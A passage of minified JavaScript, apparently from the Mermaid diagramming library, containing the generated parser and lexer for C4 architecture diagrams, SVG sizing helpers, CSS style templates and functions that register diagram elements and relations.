4:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{14:[1,74]},t(ue,[2,13],{43:23,29:49,30:61,32:62,20:75,34:s,36:l,37:u,38:h,39:f,40:d,41:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J}),t(ue,[2,14]),t(re,[2,16],{12:[1,76]}),t(ue,[2,36],{12:[1,77]}),t(ee,[2,19]),t(ee,[2,20]),{25:[1,78]},{27:[1,79]},t(ee,[2,23]),{35:80,75:81,76:Z,77:K,79:ae,80:Q},{35:86,75:81,76:Z,77:K,79:ae,80:Q},{35:87,75:81,76:Z,77:K,79:ae,80:Q},{35:88,75:81,76:Z,77:K,79:ae,80:Q},{35:89,75:81,76:Z,77:K,79:ae,80:Q},{35:90,75:81,76:Z,77:K,79:ae,80:Q},{35:91,75:81,76:Z,77:K,79:ae,80:Q},{35:92,75:81,76:Z,77:K,79:ae,80:Q},{35:93,75:81,76:Z,77:K,79:ae,80:Q},{35:94,75:81,76:Z,77:K,79:ae,80:Q},{35:95,75:81,76:Z,77:K,79:ae,80:Q},{35:96,75:81,76:Z,77:K,79:ae,80:Q},{35:97,75:81,76:Z,77:K,79:ae,80:Q},{35:98,75:81,76:Z,77:K,79:ae,80:Q},{35:99,75:81,76:Z,77:K,79:ae,80:Q},{35:100,75:81,76:Z,77:K,79:ae,80:Q},{35:101,75:81,76:Z,77:K,79:ae,80:Q},{35:102,75:81,76:Z,77:K,79:ae,80:Q},{35:103,75:81,76:Z,77:K,79:ae,80:Q},{35:104,75:81,76:Z,77:K,79:ae,80:Q},t(de,[2,59]),{35:105,75:81,76:Z,77:K,79:ae,80:Q},{35:106,75:81,76:Z,77:K,79:ae,80:Q},{35:107,75:81,76:Z,77:K,79:ae,80:Q},{35:108,75:81,76:Z,77:K,79:ae,80:Q},{35:109,75:81,76:Z,77:K,79:ae,80:Q},{35:110,75:81,76:Z,77:K,79:ae,80:Q},{35:111,75:81,76:Z,77:K,79:ae,80:Q},{35:112,75:81,76:Z,77:K,79:ae,80:Q},{35:113,75:81,76:Z,77:K,79:ae,80:Q},{35:114,75:81,76:Z,77:K,79:ae,80:Q},{35:115,75:81,76:Z,77:K,79:ae,80:Q},{20:116,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{12:[1,118],33:[1,117]},{35:119,75:81,76:Z,77:K,79:ae,80:Q},{35:120,75:81,76:Z,77:K,79:ae,80:Q},{35:121,75:81,76:Z,77:K,79:ae,80:Q},{35:122,75:81,76:Z,77:K,79:ae,80:Q},{35:123,75:81,76:Z,77:K,79:ae,80:Q},{35:124,75:81,76:Z,77:K,79:ae,80:Q},{35:125,75:81,76:Z,77:K,79:ae,80:Q},{14:[1,126]},{14:[1,127]},{14:[1,128]},{14:[1,129]},{1:[2,8]},t(ue,[2,15]),t(re,[2,17],{21:22,19:130,22:e,23:r,24:n,26:i,28:a}),t(ue,[2,37],{19:20,20:21,21:22,43:23,29:49,30:61,32:62,13:131,22:e,23:r,24:n,26:i,28:a,34:s,36:l,37:u,38:h,39:f,40:d,41:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J}),t(ee,[2,21]),t(ee,[2,22]),t(de,[2,39]),t(ne,[2,71],{75:81,35:132,76:Z,77:K,79:ae,80:Q}),t(Te,[2,73]),{78:[1,133]},t(Te,[2,75]),t(Te,[2,76]),t(de,[2,40]),t(de,[2,41]),t(de,[2,42]),t(de,[2,43]),t(de,[2,44]),t(de,[2,45]),t(de,[2,46]),t(de,[2,47]),t(de,[2,48]),t(de,[2,49]),t(de,[2,50]),t(de,[2,51]),t(de,[2,52]),t(de,[2,53]),t(de,[2,54]),t(de,[2,55]),t(de,[2,56]),t(de,[2,57]),t(de,[2,58]),t(de,[2,60]),t(de,[2,61]),t(de,[2,62]),t(de,[2,63]),t(de,[2,64]),t(de,[2,65]),t(de,[2,66]),t(de,[2,67]),t(de,[2,68]),t(de,[2,69]),t(de,[2,70]),{31:134,42:[1,135]},{12:[1,136]},{33:[1,137]},t(q,[2,28]),t(q,[2,29]),t(q,[2,30]),t(q,[2,31]),t(q,[2,32]),t(q,[2,33]),t(q,[2,34]),{1:[2,9]},{1:[2,10]},{1:[2,11]},{1:[2,12]},t(re,[2,18]),t(ue,[2,38]),t(ne,[2,72]),t(Te,[2,74]),t(de,[2,24]),t(de,[2,35]),t(Ve,[2,25]),t(Ve,[2,26],{12:[1,138]}),t(Ve,[2,27])],defaultActions:{2:[2,1],3:[2,2],4:[2,7],5:[2,3],6:[2,4],7:[2,5],8:[2,6],74:[2,8],126:[2,9],127:[2,10],128:[2,11],129:[2,12]},parseError:o(function(Le,Ie){if(Ie.recoverable)this.trace(Le);else{var Ne=new Error(Le);throw Ne.hash=Ie,Ne}},"parseError"),parse:o(function(Le){var Ie=this,Ne=[0],Ce=[],Fe=[null],fe=[],xe=this.table,W="",he=0,z=0,se=0,le=2,ke=1,ve=fe.slice.call(arguments,1),ye=Object.create(this.lexer),Re={yy:{}};for(var _e in this.yy)Object.prototype.hasOwnProperty.call(this.yy,_e)&&(Re.yy[_e]=this.yy[_e]);ye.setInput(Le,Re.yy),Re.yy.lexer=ye,Re.yy.parser=this,typeof ye.yylloc>"u"&&(ye.yylloc={});var ze=ye.yylloc;fe.push(ze);var Ke=ye.options&&ye.options.ranges;typeof Re.yy.parseError=="function"?this.parseError=Re.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function xt(ft){Ne.length=Ne.length-2*ft,Fe.length=Fe.length-ft,fe.length=fe.length-ft}o(xt,"popStack");function We(){var ft;return ft=Ce.pop()||ye.lex()||ke,typeof ft!="number"&&(ft instanceof Array&&(Ce=ft,ft=Ce.pop()),ft=Ie.symbols_[ft]||ft),ft}o(We,"lex");for(var Oe,et,Ue,lt,Gt,vt,Lt={},dt,nt,bt,wt;;){if(Ue=Ne[Ne.length-1],this.defaultActions[Ue]?lt=this.defaultActions[Ue]:((Oe===null||typeof Oe>"u")&&(Oe=We()),lt=xe[Ue]&&xe[Ue][Oe]),typeof lt>"u"||!lt.length||!lt[0]){var yt="";wt=[];for(dt in xe[Ue])this.terminals_[dt]&&dt>le&&wt.push("'"+this.terminals_[dt]+"'");ye.showPosition?yt="Parse error on line "+(he+1)+`: +`+ye.showPosition()+` +Expecting `+wt.join(", ")+", got '"+(this.terminals_[Oe]||Oe)+"'":yt="Parse error on line "+(he+1)+": Unexpected "+(Oe==ke?"end of input":"'"+(this.terminals_[Oe]||Oe)+"'"),this.parseError(yt,{text:ye.match,token:this.terminals_[Oe]||Oe,line:ye.yylineno,loc:ze,expected:wt})}if(lt[0]instanceof Array&<.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Ue+", token: "+Oe);switch(lt[0]){case 1:Ne.push(Oe),Fe.push(ye.yytext),fe.push(ye.yylloc),Ne.push(lt[1]),Oe=null,et?(Oe=et,et=null):(z=ye.yyleng,W=ye.yytext,he=ye.yylineno,ze=ye.yylloc,se>0&&se--);break;case 2:if(nt=this.productions_[lt[1]][1],Lt.$=Fe[Fe.length-nt],Lt._$={first_line:fe[fe.length-(nt||1)].first_line,last_line:fe[fe.length-1].last_line,first_column:fe[fe.length-(nt||1)].first_column,last_column:fe[fe.length-1].last_column},Ke&&(Lt._$.range=[fe[fe.length-(nt||1)].range[0],fe[fe.length-1].range[1]]),vt=this.performAction.apply(Lt,[W,z,he,Re.yy,lt[1],Fe,fe].concat(ve)),typeof vt<"u")return vt;nt&&(Ne=Ne.slice(0,-1*nt*2),Fe=Fe.slice(0,-1*nt),fe=fe.slice(0,-1*nt)),Ne.push(this.productions_[lt[1]][0]),Fe.push(Lt.$),fe.push(Lt._$),bt=xe[Ne[Ne.length-2]][Ne[Ne.length-1]],Ne.push(bt);break;case 3:return!0}}return!0},"parse")},Be=(function(){var He={EOF:1,parseError:o(function(Ie,Ne){if(this.yy.parser)this.yy.parser.parseError(Ie,Ne);else throw new Error(Ie)},"parseError"),setInput:o(function(Le,Ie){return this.yy=Ie||this.yy||{},this._input=Le,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Le=this._input[0];this.yytext+=Le,this.yyleng++,this.offset++,this.match+=Le,this.matched+=Le;var Ie=Le.match(/(?:\r\n?|\n).*/g);return Ie?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Le},"input"),unput:o(function(Le){var Ie=Le.length,Ne=Le.split(/(?:\r\n?|\n)/g);this._input=Le+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Ie),this.offset-=Ie;var Ce=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),Ne.length-1&&(this.yylineno-=Ne.length-1);var Fe=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:Ne?(Ne.length===Ce.length?this.yylloc.first_column:0)+Ce[Ce.length-Ne.length].length-Ne[0].length:this.yylloc.first_column-Ie},this.options.ranges&&(this.yylloc.range=[Fe[0],Fe[0]+this.yyleng-Ie]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Le){this.unput(this.match.slice(Le))},"less"),pastInput:o(function(){var Le=this.matched.substr(0,this.matched.length-this.match.length);return(Le.length>20?"...":"")+Le.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Le=this.match;return Le.length<20&&(Le+=this._input.substr(0,20-Le.length)),(Le.substr(0,20)+(Le.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Le=this.pastInput(),Ie=new Array(Le.length+1).join("-");return Le+this.upcomingInput()+` +`+Ie+"^"},"showPosition"),test_match:o(function(Le,Ie){var Ne,Ce,Fe;if(this.options.backtrack_lexer&&(Fe={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Fe.yylloc.range=this.yylloc.range.slice(0))),Ce=Le[0].match(/(?:\r\n?|\n).*/g),Ce&&(this.yylineno+=Ce.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:Ce?Ce[Ce.length-1].length-Ce[Ce.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Le[0].length},this.yytext+=Le[0],this.match+=Le[0],this.matches=Le,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Le[0].length),this.matched+=Le[0],Ne=this.performAction.call(this,this.yy,this,Ie,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),Ne)return Ne;if(this._backtrack){for(var fe in Fe)this[fe]=Fe[fe];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Le,Ie,Ne,Ce;this._more||(this.yytext="",this.match="");for(var Fe=this._currentRules(),fe=0;feIe[0].length)){if(Ie=Ne,Ce=fe,this.options.backtrack_lexer){if(Le=this.test_match(Ne,Fe[fe]),Le!==!1)return Le;if(this._backtrack){Ie=!1;continue}else return!1}else if(!this.options.flex)break}return Ie?(Le=this.test_match(Ie,Fe[Ce]),Le!==!1?Le:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Ie=this.next();return Ie||this.lex()},"lex"),begin:o(function(Ie){this.conditionStack.push(Ie)},"begin"),popState:o(function(){var Ie=this.conditionStack.length-1;return Ie>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Ie){return Ie=this.conditionStack.length-1-Math.abs(Ie||0),Ie>=0?this.conditionStack[Ie]:"INITIAL"},"topState"),pushState:o(function(Ie){this.begin(Ie)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(Ie,Ne,Ce,Fe){var fe=Fe;switch(Ce){case 0:return 6;case 1:return 7;case 2:return 8;case 3:return 9;case 4:return 22;case 5:return 23;case 6:return this.begin("acc_title"),24;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),26;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:break;case 14:c;break;case 15:return 12;case 16:break;case 17:return 11;case 18:return 15;case 19:return 16;case 20:return 17;case 21:return 18;case 22:return this.begin("person_ext"),45;break;case 23:return this.begin("person"),44;break;case 24:return this.begin("system_ext_queue"),51;break;case 25:return this.begin("system_ext_db"),50;break;case 26:return this.begin("system_ext"),49;break;case 27:return this.begin("system_queue"),48;break;case 28:return this.begin("system_db"),47;break;case 29:return this.begin("system"),46;break;case 30:return this.begin("boundary"),37;break;case 31:return this.begin("enterprise_boundary"),34;break;case 32:return this.begin("system_boundary"),36;break;case 33:return this.begin("container_ext_queue"),57;break;case 34:return this.begin("container_ext_db"),56;break;case 35:return this.begin("container_ext"),55;break;case 36:return this.begin("container_queue"),54;break;case 37:return this.begin("container_db"),53;break;case 38:return this.begin("container"),52;break;case 39:return this.begin("container_boundary"),38;break;case 40:return this.begin("component_ext_queue"),63;break;case 41:return this.begin("component_ext_db"),62;break;case 42:return this.begin("component_ext"),61;break;case 43:return this.begin("component_queue"),60;break;case 44:return this.begin("component_db"),59;break;case 45:return this.begin("component"),58;break;case 46:return this.begin("node"),39;break;case 47:return this.begin("node"),39;break;case 48:return this.begin("node_l"),40;break;case 49:return this.begin("node_r"),41;break;case 50:return this.begin("rel"),64;break;case 51:return this.begin("birel"),65;break;case 52:return this.begin("rel_u"),66;break;case 53:return this.begin("rel_u"),66;break;case 54:return this.begin("rel_d"),67;break;case 55:return this.begin("rel_d"),67;break;case 56:return this.begin("rel_l"),68;break;case 57:return this.begin("rel_l"),68;break;case 58:return this.begin("rel_r"),69;break;case 59:return this.begin("rel_r"),69;break;case 60:return this.begin("rel_b"),70;break;case 61:return this.begin("rel_index"),71;break;case 62:return this.begin("update_el_style"),72;break;case 63:return this.begin("update_rel_style"),73;break;case 64:return this.begin("update_layout_config"),74;break;case 65:return"EOF_IN_STRUCT";case 66:return this.begin("attribute"),"ATTRIBUTE_EMPTY";break;case 67:this.begin("attribute");break;case 68:this.popState(),this.popState();break;case 69:return 80;case 70:break;case 71:return 80;case 72:this.begin("string");break;case 73:this.popState();break;case 74:return"STR";case 75:this.begin("string_kv");break;case 76:return this.begin("string_kv_key"),"STR_KEY";break;case 77:this.popState(),this.begin("string_kv_value");break;case 78:return"STR_VALUE";case 79:this.popState(),this.popState();break;case 80:return"STR";case 81:return"LBRACE";case 82:return"RBRACE";case 83:return"SPACE";case 84:return"EOL";case 85:return 14}},"anonymous"),rules:[/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:title\s[^#\n;]+)/,/^(?:accDescription\s[^#\n;]+)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:C4Context\b)/,/^(?:C4Container\b)/,/^(?:C4Component\b)/,/^(?:C4Dynamic\b)/,/^(?:C4Deployment\b)/,/^(?:Person_Ext\b)/,/^(?:Person\b)/,/^(?:SystemQueue_Ext\b)/,/^(?:SystemDb_Ext\b)/,/^(?:System_Ext\b)/,/^(?:SystemQueue\b)/,/^(?:SystemDb\b)/,/^(?:System\b)/,/^(?:Boundary\b)/,/^(?:Enterprise_Boundary\b)/,/^(?:System_Boundary\b)/,/^(?:ContainerQueue_Ext\b)/,/^(?:ContainerDb_Ext\b)/,/^(?:Container_Ext\b)/,/^(?:ContainerQueue\b)/,/^(?:ContainerDb\b)/,/^(?:Container\b)/,/^(?:Container_Boundary\b)/,/^(?:ComponentQueue_Ext\b)/,/^(?:ComponentDb_Ext\b)/,/^(?:Component_Ext\b)/,/^(?:ComponentQueue\b)/,/^(?:ComponentDb\b)/,/^(?:Component\b)/,/^(?:Deployment_Node\b)/,/^(?:Node\b)/,/^(?:Node_L\b)/,/^(?:Node_R\b)/,/^(?:Rel\b)/,/^(?:BiRel\b)/,/^(?:Rel_Up\b)/,/^(?:Rel_U\b)/,/^(?:Rel_Down\b)/,/^(?:Rel_D\b)/,/^(?:Rel_Left\b)/,/^(?:Rel_L\b)/,/^(?:Rel_Right\b)/,/^(?:Rel_R\b)/,/^(?:Rel_Back\b)/,/^(?:RelIndex\b)/,/^(?:UpdateElementStyle\b)/,/^(?:UpdateRelStyle\b)/,/^(?:UpdateLayoutConfig\b)/,/^(?:$)/,/^(?:[(][ ]*[,])/,/^(?:[(])/,/^(?:[)])/,/^(?:,,)/,/^(?:,)/,/^(?:[ ]*["]["])/,/^(?:[ ]*["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:[ ]*[\$])/,/^(?:[^=]*)/,/^(?:[=][ ]*["])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:[^,]+)/,/^(?:\{)/,/^(?:\})/,/^(?:[\s]+)/,/^(?:[\n\r]+)/,/^(?:$)/],conditions:{acc_descr_multiline:{rules:[11,12],inclusive:!1},acc_descr:{rules:[9],inclusive:!1},acc_title:{rules:[7],inclusive:!1},string_kv_value:{rules:[78,79],inclusive:!1},string_kv_key:{rules:[77],inclusive:!1},string_kv:{rules:[76],inclusive:!1},string:{rules:[73,74],inclusive:!1},attribute:{rules:[68,69,70,71,72,75,80],inclusive:!1},update_layout_config:{rules:[65,66,67,68],inclusive:!1},update_rel_style:{rules:[65,66,67,68],inclusive:!1},update_el_style:{rules:[65,66,67,68],inclusive:!1},rel_b:{rules:[65,66,67,68],inclusive:!1},rel_r:{rules:[65,66,67,68],inclusive:!1},rel_l:{rules:[65,66,67,68],inclusive:!1},rel_d:{rules:[65,66,67,68],inclusive:!1},rel_u:{rules:[65,66,67,68],inclusive:!1},rel_bi:{rules:[],inclusive:!1},rel:{rules:[65,66,67,68],inclusive:!1},node_r:{rules:[65,66,67,68],inclusive:!1},node_l:{rules:[65,66,67,68],inclusive:!1},node:{rules:[65,66,67,68],inclusive:!1},index:{rules:[],inclusive:!1},rel_index:{rules:[65,66,67,68],inclusive:!1},component_ext_queue:{rules:[],inclusive:!1},component_ext_db:{rules:[65,66,67,68],inclusive:!1},component_ext:{rules:[65,66,67,68],inclusive:!1},component_queue:{rules:[65,66,67,68],inclusive:!1},component_db:{rules:[65,66,67,68],inclusive:!1},component:{rules:[65,66,67,68],inclusive:!1},container_boundary:{rules:[65,66,67,68],inclusive:!1},container_ext_queue:{rules:[65,66,67,68],inclusive:!1},container_ext_db:{rules:[65,66,67,68],inclusive:!1},container_ext:{rules:[65,66,67,68],inclusive:!1},container_queue:{rules:[65,66,67,68],inclusive:!1},container_db:{rules:[65,66,67,68],inclusive:!1},container:{rules:[65,66,67,68],inclusive:!1},birel:{rules:[65,66,67,68],inclusive:!1},system_boundary:{rules:[65,66,67,68],inclusive:!1},enterprise_boundary:{rules:[65,66,67,68],inclusive:!1},boundary:{rules:[65,66,67,68],inclusive:!1},system_ext_queue:{rules:[65,66,67,68],inclusive:!1},system_ext_db:{rules:[65,66,67,68],inclusive:!1},system_ext:{rules:[65,66,67,68],inclusive:!1},system_queue:{rules:[65,66,67,68],inclusive:!1},system_db:{rules:[65,66,67,68],inclusive:!1},system:{rules:[65,66,67,68],inclusive:!1},person_ext:{rules:[65,66,67,68],inclusive:!1},person:{rules:[65,66,67,68],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,8,10,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,81,82,83,84,85],inclusive:!0}}};return He})();pe.lexer=Be;function Ye(){this.yy={}}return o(Ye,"Parser"),Ye.prototype=pe,pe.Parser=Ye,new Ye})();tv.parser=tv;nH=tv});var Xwe,jwe,mn,ic,Ei=N(()=>{"use strict";pt();Xwe=o(function(t,e){for(let r of e)t.attr(r[0],r[1])},"d3Attrs"),jwe=o(function(t,e,r){let n=new Map;return r?(n.set("width","100%"),n.set("style",`max-width: ${e}px;`)):(n.set("height",t),n.set("width",e)),n},"calculateSvgSizeAttrs"),mn=o(function(t,e,r,n){let i=jwe(e,r,n);Xwe(t,i)},"configureSvgSize"),ic=o(function(t,e,r,n){let i=e.node().getBBox(),a=i.width,s=i.height;X.info(`SVG bounds: ${a}x${s}`,i);let l=0,u=0;X.info(`Graph bounds: ${l}x${u}`,t),l=a+r*2,u=s+r*2,X.info(`Calculated bounds: ${l}x${u}`),mn(e,u,l,n);let h=`${i.x-r} ${i.y-r} ${i.width+2*r} ${i.height+2*r}`;e.attr("viewBox",h)},"setupGraphViewbox")});var $3,Kwe,iH,aH,NA=N(()=>{"use strict";pt();$3={},Kwe=o((t,e,r)=>{let n="";return t in $3&&$3[t]?n=$3[t](r):X.warn(`No theme found for ${t}`),` & { + font-family: ${r.fontFamily}; + font-size: ${r.fontSize}; + fill: ${r.textColor} + } + @keyframes edge-animation-frame { + from { + stroke-dashoffset: 0; + } + } + @keyframes dash { + to { + stroke-dashoffset: 0; + } + } + & .edge-animation-slow { + stroke-dasharray: 9,5 !important; + stroke-dashoffset: 900; + animation: dash 50s linear infinite; + stroke-linecap: round; + } + & .edge-animation-fast { + stroke-dasharray: 9,5 !important; + stroke-dashoffset: 900; + animation: dash 20s linear infinite; + stroke-linecap: round; + } + /* Classes common for multiple diagrams */ + + & .error-icon { + fill: ${r.errorBkgColor}; + } + & .error-text { + fill: ${r.errorTextColor}; + stroke: ${r.errorTextColor}; + } + + & .edge-thickness-normal { + stroke-width: 1px; + } + & .edge-thickness-thick { + stroke-width: 3.5px + } + & .edge-pattern-solid { + stroke-dasharray: 0; + } + & .edge-thickness-invisible { + stroke-width: 0; + fill: none; + } + & .edge-pattern-dashed{ + stroke-dasharray: 3; + } + .edge-pattern-dotted { + stroke-dasharray: 2; + } + + & .marker { + fill: ${r.lineColor}; + stroke: ${r.lineColor}; + } + & .marker.cross { + stroke: ${r.lineColor}; + } + + & svg { + font-family: ${r.fontFamily}; + font-size: ${r.fontSize}; + } + & p { + margin: 0 + } + + ${n} + + ${e} +`},"getStyles"),iH=o((t,e)=>{e!==void 0&&($3[t]=e)},"addStylesForDiagram"),aH=Kwe});var rv={};dr(rv,{clear:()=>Sr,getAccDescription:()=>Or,getAccTitle:()=>Mr,getDiagramTitle:()=>Pr,setAccDescription:()=>Ir,setAccTitle:()=>Rr,setDiagramTitle:()=>$r});var MA,IA,OA,PA,Sr,Rr,Mr,Ir,Or,$r,Pr,ci=N(()=>{"use strict";gr();qn();MA="",IA="",OA="",PA=o(t=>sr(t,Qt()),"sanitizeText"),Sr=o(()=>{MA="",OA="",IA=""},"clear"),Rr=o(t=>{MA=PA(t).replace(/^\s+/g,"")},"setAccTitle"),Mr=o(()=>MA,"getAccTitle"),Ir=o(t=>{OA=PA(t).replace(/\n\s+/g,` +`)},"setAccDescription"),Or=o(()=>OA,"getAccDescription"),$r=o(t=>{IA=PA(t)},"setDiagramTitle"),Pr=o(()=>IA,"getDiagramTitle")});var sH,Qwe,ge,nv,G3,iv,FA,Zwe,z3,xd,av,BA,Xt=N(()=>{"use strict";vd();pt();qn();gr();Ei();NA();ci();sH=X,Qwe=Dy,ge=Qt,nv=n3,G3=gh,iv=o(t=>sr(t,ge()),"sanitizeText"),FA=ic,Zwe=o(()=>rv,"getCommonDb"),z3={},xd=o((t,e,r)=>{z3[t]&&sH.warn(`Diagram with id ${t} already registered. Overwriting.`),z3[t]=e,r&&LA(t,r),iH(t,e.styles),e.injectUtils?.(sH,Qwe,ge,iv,FA,Zwe(),()=>{})},"registerDiagram"),av=o(t=>{if(t in z3)return z3[t];throw new BA(t)},"getDiagram"),BA=class extends Error{static{o(this,"DiagramNotFoundError")}constructor(e){super(`Diagram ${e} not found.`)}}});var ml,Eh,ns,pl,ac,sv,$A,zA,V3,U3,oH,Jwe,eke,tke,rke,nke,ike,ake,ske,oke,lke,cke,uke,hke,fke,dke,pke,mke,lH,gke,yke,cH,vke,xke,bke,Tke,Sh,wke,kke,Eke,Ske,Cke,ov,GA=N(()=>{"use strict";Xt();gr();ci();ml=[],Eh=[""],ns="global",pl="",ac=[{alias:"global",label:{text:"global"},type:{text:"global"},tags:null,link:null,parentBoundary:""}],sv=[],$A="",zA=!1,V3=4,U3=2,Jwe=o(function(){return oH},"getC4Type"),eke=o(function(t){oH=sr(t,ge())},"setC4Type"),tke=o(function(t,e,r,n,i,a,s,l,u){if(t==null||e===void 0||e===null||r===void 0||r===null||n===void 0||n===null)return;let h={},f=sv.find(d=>d.from===e&&d.to===r);if(f?h=f:sv.push(h),h.type=t,h.from=e,h.to=r,h.label={text:n},i==null)h.techn={text:""};else if(typeof i=="object"){let[d,p]=Object.entries(i)[0];h[d]={text:p}}else h.techn={text:i};if(a==null)h.descr={text:""};else if(typeof a=="object"){let[d,p]=Object.entries(a)[0];h[d]={text:p}}else h.descr={text:a};if(typeof s=="object"){let[d,p]=Object.entries(s)[0];h[d]=p}else h.sprite=s;if(typeof l=="object"){let[d,p]=Object.entries(l)[0];h[d]=p}else h.tags=l;if(typeof u=="object"){let[d,p]=Object.entries(u)[0];h[d]=p}else h.link=u;h.wrap=Sh()},"addRel"),rke=o(function(t,e,r,n,i,a,s){if(e===null||r===null)return;let l={},u=ml.find(h=>h.alias===e);if(u&&e===u.alias?l=u:(l.alias=e,ml.push(l)),r==null?l.label={text:""}:l.label={text:r},n==null)l.descr={text:""};else if(typeof n=="object"){let[h,f]=Object.entries(n)[0];l[h]={text:f}}else l.descr={text:n};if(typeof i=="object"){let[h,f]=Object.entries(i)[0];l[h]=f}else l.sprite=i;if(typeof a=="object"){let[h,f]=Object.entries(a)[0];l[h]=f}else l.tags=a;if(typeof s=="object"){let[h,f]=Object.entries(s)[0];l[h]=f}else l.link=s;l.typeC4Shape={text:t},l.parentBoundary=ns,l.wrap=Sh()},"addPersonOrSystem"),nke=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ml.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ml.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.techn={text:""};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.techn={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof a=="object"){let[f,d]=Object.entries(a)[0];u[f]=d}else u.sprite=a;if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.wrap=Sh(),u.typeC4Shape={text:t},u.parentBoundary=ns},"addContainer"),ike=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ml.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ml.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.techn={text:""};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.techn={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof a=="object"){let[f,d]=Object.entries(a)[0];u[f]=d}else u.sprite=a;if(typeof 